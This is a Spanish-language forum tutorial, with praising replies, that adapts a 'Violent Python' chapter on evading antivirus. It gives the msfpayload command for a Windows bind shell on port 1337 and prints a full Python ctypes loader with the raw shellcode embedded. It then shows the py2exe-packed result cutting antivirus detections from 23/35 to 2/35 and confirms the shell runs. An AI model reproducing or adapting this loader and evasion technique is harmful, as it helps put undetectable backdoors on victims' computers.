(http://i.imgur.com/E8ie4.png)
Buenas , coincidio estaba leyendo un librito (Violent Python) y un capítulo trataba sobre la evasión de antivirus...
Muchos me comentaban que conocían el libro pero que nunca les dio por leerlo, entre las principales razones pues por lo de siempre...
- "ESTA EN INGLÉS y como esta en inglés pues NO LO ENTIENDO BIEN"
Bueno , en este caso voy a "adaptar" un capítulo qué me llamo la antención para que veaís que no es dificil de leerlo y que pues bueno a veces por no leer en inglés os perdeís conocer muchas cosas interesantes...
Al lio...
1. Generar shellcode con código malicioso en msf(metasploit).
2. Escribir el script en python que nos permita ejecutar ese código.
1. Generar shellcode con código malicioso en msf(metasploit):
Abrimos msf :
sanko@Sanko-PC ~ $ su
Password:
Sanko-PC sanko # msfconsole
y generaremos este payload , escribimos :
msfpayload windows/shell_bind_tcp LPORT=1337 C
Aqui nos genera el shellcode :
(http://4.bp.blogspot.com/-bZcLKhnFUAc/UOoTStOEB-I/AAAAAAAAADc/QFFmhxG0ouw/s400/Pantallazo-1.png)
Ahora pasaremos directamente ese shellcode a exe y escanearemos :
(http://1.bp.blogspot.com/-KSQjP_iSIOc/UOoUDM2-d9I/AAAAAAAAADo/jHBaN7Kc1V0/s400/Pantallazo.png)
y lo analizamos en un scanner online para por cuantos av's es detectado :
(http://2.bp.blogspot.com/-z8UMR4v4I_o/UOoU3OsGt8I/AAAAAAAAAD0/zgSt9EGS9Dk/s640/Pantallazo-1.png)
BBCode :
[spoiler] RESULTS: 23/35
AVG Free - Trojan horse Agent_r.OV
ArcaVir -
Avast 5 - Win32:Sileco [Trj]
AntiVir (Avira) - TR/Crypt.XPACK.Gen5
BitDefender - Backdoor.Shell.AC
VirusBuster -
Clam - Trojan.MSF_Shellcode
COMODO - TrojWare.Win32.TrojanDownloader.Small.~AOLO@104254503
Dr.Web - Trojan.Packed.196
eTrust-Vet - Win32/ASuspect.HHGCP
F-PROT - W32/SmallTrojan.M.gen!Eldorado (generic, not disinfectable)
F-Secure - Trojan:W32/Shell2Exe.A
G Data - Backdoor.Shell.AC, Win32:Sileco [Trj]
IKARUS - Trojan.Win32.Swrort
Kaspersky -
McAfee - Generic Downloader.fa
MS Essentials - TrojanDownloader:Win32/Sileco.A
ESET NOD32 - Trojan.Win32/Shellcode2EXE.A
Norman - winpe/Swrort.A
Norton -
Panda -
A-Squared - Trojan.Win32.Swrort!IK
Quick Heal - Trojan.Agent.ATV.n3
Solo -
Sophos - Mal/Silvana-B
Trend Micro - TROJ_SMALL.SMJ2
VBA32 -
Vexira -
Zoner AntiVirus -
Ad-Aware -
BullGuard - Backdoor.Shell.AC
Immunet - Backdoor.Shell.AC
K7 Ultimate - Riskware ( 22533fae0 )
NANO -
VIPRE -
File Name shellcode.exe
File Size: 20572
File MD5: 2be1f303fa36ac3d6d5e00f38fadc551
File SHA1: 58b63498b305df218cce0949a02ab91832d96348
Check Time: 2013-01-07 02:19:27
Scan report generated by
Scan4You.Net (http://scan4you.net/result.php?id=1b7d4_3547m0)[/spoiler]
23/35 , BUFF , muy quemado...
Pero esto se puede solucionar con nuestro queridito python...
Escribiremos un script que creara un buffer-string y que luego lo ejecute en memoria a traves de un módulo(API) -> Ctypes
Escribamos el script pues :
from ctypes import *
shellcode = ("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x31\xdb\x53\x68\x02\x00\x05\x39\x89\xe6\x6a\x10\x56\x57\x68"
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5"
"\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75"
"\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e"
"\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"
"\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5")
memoria = create_string_buffer(shellcode, len(shellcode))
shell = cast(memoria, CFUNCTYPE(c_void_p))
shell()
Ahora lo pasamos a aplicación con py2exe y lo escaneamos de nuevo:
(http://3.bp.blogspot.com/-eI13qTsaCME/UOoXi3CEftI/AAAAAAAAAEM/w5RZRajGrKY/s400/Pantallazo.png)ç
BBCode:
[spoiler] RESULTS: 2/35
AVG Free -
ArcaVir -
Avast 5 - Win32:Hijack-GL [Trj]
AntiVir (Avira) -
BitDefender -
VirusBuster -
Clam -
COMODO -
Dr.Web -
eTrust-Vet -
F-PROT -
F-Secure -
G Data -
IKARUS -
Kaspersky -
McAfee -
MS Essentials - Trojan:Win32/Swrort.A
ESET NOD32 -
Norman -
Norton -
Panda -
A-Squared -
Quick Heal -
Solo -
Sophos -
Trend Micro -
VBA32 -
Vexira -
Zoner AntiVirus -
Ad-Aware -
BullGuard -
Immunet -
K7 Ultimate -
NANO -
VIPRE -
File Name Bindshell.exe
File Size: 3440179
File MD5: b36d2d0ba10d154436add0ea1635e6ec
File SHA1: f96b7843f16ee4670e0c27f1d5a9a0ccdf71b4e3
Check Time: 2013-01-07 01:30:55
Scan report generated by
Scan4You.Net (http://scan4you.net/result.php?id=43add_3541pe)[/spoiler]
Avast y Essentials.. link reporte = http://scan4you.net/result.php?id=43add_3541pe (http://scan4you.net/result.php?id=43add_3541pe)
Ahora comprobemos que el payload se ejecuta correctamente...
(http://2.bp.blogspot.com/-Z_j30XIaRoc/UOoa_S_nD3I/AAAAAAAAAEc/UyQGBO4MNBo/s640/Pantallazo.png)
Todo correcto al parecer...
Bueno, con esto es todo , espero os agradará el articulo.
Un Saludo ,
Sanko.
Referencias : Creditos para el libro "Violent Python" esto tan solo es una explicación basada en lo que leí.
Traducido al español y explicado como me parecio más adecuado.
Vamos, que está excelente este tutorial ehh..
Sin dudas a echarle la practica ;) un saludo Sanko.
Excelente Sanko!
+Karma!
Enorme Sanko!
Muy bien explicado.
Gracias Sanko
"Violent Python" es un libro genial, ademas de este método para evadir AV, también hay otros recursos muy interesantes sobre el uso de python en actividades de pentesting.
Muchas gracias por mencionar el texto y por el aporte (que te ha quedado muy bien, por cierto :D).
Saludos.
Excelente libro! Totalmente recomendado!
Es increíble las múltiples herramientas de las que disponemos al utilizar python en temas como éstos.
Gracias por compartir!
Saludos!
WhiZ